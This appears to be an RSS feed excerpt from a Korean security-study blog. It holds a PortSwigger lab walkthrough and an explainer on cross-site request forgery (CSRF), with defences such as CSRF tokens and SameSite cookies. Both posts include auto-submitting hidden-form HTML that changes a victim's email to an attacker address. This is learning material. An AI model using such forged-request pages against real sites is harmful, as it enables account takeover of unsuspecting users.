src=&quot;https://blog.kakaocdn.net/dn/bmLgCT/dJMb995PTNn/7Wo91uULvnXF6NiFKBF2zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmLgCT%2FdJMb995PTNn%2F7Wo91uULvnXF6NiFKBF2zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;293&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Send를 눌러주고 다시 우클릭으로&amp;nbsp; Copy URL을 한 다음 직접 링크를 연다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;815&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6WNep/dJMcafLKvhL/clc2Aur55J8YbRVgvDyC9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6WNep/dJMcafLKvhL/clc2Aur55J8YbRVgvDyC9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6WNep/dJMcafLKvhL/clc2Aur55J8YbRVgvDyC9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6WNep%2FdJMcafLKvhL%2Fclc2Aur55J8YbRVgvDyC9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;815&quot; height=&quot;672&quot; data-origin-width=&quot;815&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 아래 사진처럼 바뀐 것을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;557&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFIyfn/dJMcafdUzLb/5waYuNzOScGEwpO2wzwt2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFIyfn/dJMcafdUzLb/5waYuNzOScGEwpO2wzwt2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFIyfn/dJMcafdUzLb/5waYuNzOScGEwpO2wzwt2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFIyfn%2FdJMcafdUzLb%2F5waYuNzOScGEwpO2wzwt2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1036&quot; height=&quot;557&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;557&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째로 바꿔보는데 이땐 위에 Go to exploit server로 들어간다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd8fDQ/dJMcaaDFI4o/5dvBVrxoO5V8szOPGZh2v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd8fDQ/dJMcaaDFI4o/5dvBVrxoO5V8szOPGZh2v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd8fDQ/dJMcaaDFI4o/5dvBVrxoO5V8szOPGZh2v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd8fDQ%2FdJMcaaDFI4o%2F5dvBVrxoO5V8szOPGZh2v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1284&quot; height=&quot;533&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드가 기본 틀이다.&lt;/p&gt;
&lt;pre id=&quot;code_1763395257423&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;anything%40web-security-academy.net&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;
        document.forms[0].submit();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 form action엔 아래 두번째 사진 url을 복사해서 붙여주고 value엔 바꾸고 싶은 이메일을 입력해준다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpQ9kr/dJMcaioaFfV/iFXSkdYFxjBy7G4SezifH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpQ9kr/dJMcaioaFfV/iFXSkdYFxjBy7G4SezifH0/img.png&quot; data-origin-width=&quot;915&quot; data-origin-height=&quot;418&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;63.3&quot; style=&quot;width: 62.5672%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpQ9kr/dJMcaioaFfV/iFXSkdYFxjBy7G4SezifH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpQ9kr%2FdJMcaioaFfV%2FiFXSkdYFxjBy7G4SezifH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;915&quot; height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J3DcJ/dJMcafkGdTv/SZv7oSoyxo5dcMIY6Ppzxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J3DcJ/dJMcafkGdTv/SZv7oSoyxo5dcMIY6Ppzxk/img.png&quot; data-origin-width=&quot;703&quot; data-origin-height=&quot;554&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;36.7&quot; style=&quot;width: 36.27%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J3DcJ/dJMcafkGdTv/SZv7oSoyxo5dcMIY6Ppzxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ3DcJ%2FdJMcafkGdTv%2FSZv7oSoyxo5dcMIY6Ppzxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;703&quot; height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 Store을 먼저 누르고 view exploit으로 결과를 확인해준다. 그리고 나서 Deliver exploit to victim을 눌러서 공격 확인을 하면 문제가 풀린다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UtSLB/dJMcagjAwuP/iC0IxMLBVLTKyPAn53GkPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UtSLB/dJMcagjAwuP/iC0IxMLBVLTKyPAn53GkPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UtSLB/dJMcagjAwuP/iC0IxMLBVLTKyPAn53GkPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUtSLB%2FdJMcagjAwuP%2FiC0IxMLBVLTKyPAn53GkPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;853&quot; height=&quot;90&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Dfgm9/dJMcabvOySH/yY6AlZt1AinJauHOac0lr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Dfgm9/dJMcabvOySH/yY6AlZt1AinJauHOac0lr0/img.png&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;517&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.6891%; margin-right: 10px;&quot; data-widthpercent=&quot;47.24&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Dfgm9/dJMcabvOySH/yY6AlZt1AinJauHOac0lr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDfgm9%2FdJMcabvOySH%2FyY6AlZt1AinJauHOac0lr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1030&quot; height=&quot;517&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9QTzi/dJMcaaXYzZj/DKEQDfZ2QeoX0y6chjYig1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9QTzi/dJMcaaXYzZj/DKEQDfZ2QeoX0y6chjYig1/img.png&quot; data-origin-width=&quot;1660&quot; data-origin-height=&quot;746&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.1481%;&quot; data-widthpercent=&quot;52.76&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9QTzi/dJMcaaXYzZj/DKEQDfZ2QeoX0y6chjYig1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9QTzi%2FdJMcaaXYzZj%2FDKEQDfZ2QeoX0y6chjYig1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1660&quot; height=&quot;746&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>2025-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/211</guid>
      <comments>https://tigerdemon.tistory.com/211#entry211comment</comments>
      <pubDate>Tue, 18 Nov 2025 01:52:30 +0900</pubDate>
    </item>
    <item>
      <title>CSRF 정의 및 공격 기법</title>
      <link>https://tigerdemon.tistory.com/212</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;CSRF(Cross-site request forgery) 정의&amp;nbsp; //사이트 간 요청 위조&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;공격자가 사용자가 의도하지 않은 작업을 수행하도록 유도할 수 있는 웹 보안 취약점&lt;/li&gt;
&lt;li&gt;공격자는 피해자의 브라우저를 이용해 인증된 세션 쿠키를 자동으로 전송하게 만들어서 피해자 대신 요청을 실행시킨다.&lt;/li&gt;
&lt;li&gt;공격자의 링크를 피해자가 클릭하면 로그인된 상태의 세션이 이용되어 이메일 주소가 공격자 계정으로 변경될 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CSRF가 작동하는 조건&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중요한 행동&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 유도할만한 행동이 있어야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 비밀번호/이메일 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피해자가 애플리케이션 내에서 특권 역할을 가지고 있다면 공격자가 데이터와 기능을 제어할 수 있게됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;쿠키 기반 세션&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자 식별 정보(인증)를 &lt;b&gt;*쿠키&lt;/b&gt;에 담긴 &lt;b&gt;**세션&lt;/b&gt;ID 하나에만 의존하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*쿠키 : 서버가 사용자의 브라우저에 저장시킨 작은 데이터(ex) session_id).&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 같은 사이트로 요청할 때 자동으로 이 쿠키를 함께 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;**세션 : 서버가 로그인 상태 등 사용자 상태를 기억하기 위한 서버측 저장소.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 쿠키에 담긴 session_id로 사용자를 식별&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예측 가능한 요청&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 요청에 무작위 토큰이나 값이 없음 -&amp;gt; 공격자가 쉽게 요청 생성 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업을 수행하는 요청에 공격자가 결정하거나 추측할 수 없는 값이 있는 매개변수가 포함되어 있지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정상 사용자 요청&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1763032663623&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /email/change HTTP/1.1
Host:vulnerable-website.com
Content-type: application/x-www-form-urlencoded
Conent-Length: 30
Cookie: session=ythwsztyeQkAPzeQ5gHgTvLyxHfsAfE

email=wiener@normal-user.com&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 웹사이트에서 이메일 변경 버튼을 눌렀을 때 서버로 보내는 실제 HTTP 요청&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서버는 Cookie: session=... 값을 보고 누가 보낸 요청인지(어떤 계정인지)판단&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;즉, 쿠키(session id)는 사용자의 로그인 상태 식별자 역할을 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격자 요청&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1763032915022&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
	&amp;lt;body&amp;gt;
    	&amp;lt;form action=&quot;https://vulnerable-website.com/email/change&quot; method=&quot;POST&quot;&amp;gt;
        &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwned@evil-user.net&quot; /&amp;gt;
        &amp;lt;/form&amp;gt;
        &amp;lt;script&amp;gt;
        document.forms[0].submit();
        &amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 이 HTML을 자기 사이트(혹은 이메일등)에 올려 피해자가 방문하게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폼은 보통 눈에 보이지 않게(hidden) 만들어져 있고, 스크립트가 즉시 submit()을 호출해 자동으로 POST 요청을 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표면상 요청 내용을 정상 요청과 동일(같은 URL, 같은 파라미터 구조)이다. - 단지 email 값이 공격자가 원하는 값으로 바뀌었을 뿐.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;과정&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;피해자가 로그인된 상태(브라우저에 로그인 쿠키를 가지고 있음)로 공격자 페이지를 방문&lt;/li&gt;
&lt;li&gt;공격자 페이지의 스크립트/폼이 취약 사이트로 요청을 보냄&lt;/li&gt;
&lt;li&gt;브라우저는 같은 도메인으로의 요청에 대해 자동으로 쿠키를 포함 (사용자가 수동으로 첨부한 게 아님)&lt;/li&gt;
&lt;li&gt;서버는 요청에 포함된 세션 쿠키를 보고 정상 사용자가 보낸 요청으로 판단하여 이메일을 변경&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 결과 : 피해자의 이메일이 공격자 주소로 바뀌고, 계정 탈취(비밀번호 재설정 등)로 이어질 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 쿠키를 자동으로 포함시키는 특성 때문에, 공격자는 사용자가 모르는 사이에 '인증된' 요청을 위조할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CSRF 방어 방법&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. CSRF Token(CSRF 토큰)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가장 효과적인 방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 매 요청마다 랜덤하고 예측 불가능한 토큰(문자열)을 생성해서 폼이나 요청에 포함시킴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 폼을 제출할 때, 같은 토큰을 함께 보내야 서버가 요청을 인정함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 이 토큰 값을 알 수 없기 때문에, 피해자 대신 올바른 요청을 만들 수 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. SameSite Cookie&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저 측 방어 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키가 다른 사이트에서 오는 요청에 포함되지 않도록 제한하는 설정(즉, 외부 페이지에서 자동으로 요청을 보낼 수 없음 -&amp;gt; CSRF 차단)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. Referer-based Validation(리퍼러 검증)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청의 출처(Referer 헤더)를 확인해서 같은 도메인에서 보낸 요청만 허용하는 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자 사이트(evil.com)에서 온 요청이면 Referer 값이 다르기 때문에 차단 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 일부 브라이저나 프록시가 Referer를 제거할 수 있어 신뢰도가 낮음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;XSS vs CSRF&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;XSS&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 악성 스크립트(JavaScript)를 웹페이지에 삽입해 브라우저 내에서 실행시킴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 악성 스크리트가 삽입된 페이지를 열면 공격 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보를 훔치거나 브라우저 내부 조작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 '피해자의 브리우저 안'에서 직접 행동함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; '브라우저 내부 해킹'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;양방향(two-way)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 브라우저 안에서 코드를 실행하므로, 요청-응답 모두 제어 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CSRF&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 사용자 대신 요청을 보내도록 속임(피해자의 브라우저 이용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 로그인된 상태로 공격자 사이트에 접속하면 공격 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 잘못된 요청을 보내게 만듦&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 '피해자의 브라우저를 이용해서 서버에 요청을 보냄'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; '피해자 대신 요청 보내기'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단방향(one - way)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 요청을 보내게 할 수는 있지만, 응답을 볼 수 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; '요청만 유도'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>2025-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/212</guid>
      <comments>https://tigerdemon.tistory.com/212#entry212comment</comments>
      <pubDate>Tue, 18 Nov 2025 01:30:54 +0900</pubDate>
    </item>
    <item>
      <title>7주차 notepad.exe를 이용한 PE 구조 분석 실습</title>
      <link>https://tigerdemon.tistory.com/210</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;1차 분석 : pe_parser.py&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKauBs/dJMcahJv4t1/sX7xaDOuqztYZaUinxDt80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKauBs/dJMcahJv4t1/sX7xaDOuqztYZaUinxDt80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKauBs/dJMcahJv4t1/sX7xaDOuqztYZaUinxDt80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKauBs%2FdJMcahJv4t1%2FsX7xaDOuqztYZaUinxDt80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1129&quot; height=&quot;153&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;추가된 파일&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D48mx/dJMcaboZKs9/fIaqOOTzwIlVUH88Iq3sB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D48mx/dJMcaboZKs9/fIaqOOTzwIlVUH88Iq3sB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D48mx/dJMcaboZKs9/fIaqOOTzwIlVUH88Iq3sB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD48mx%2FdJMcaboZKs9%2FfIaqOOTzwIlVUH88Iq3sB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;239&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;추가된 파일 코드&lt;/h4&gt;
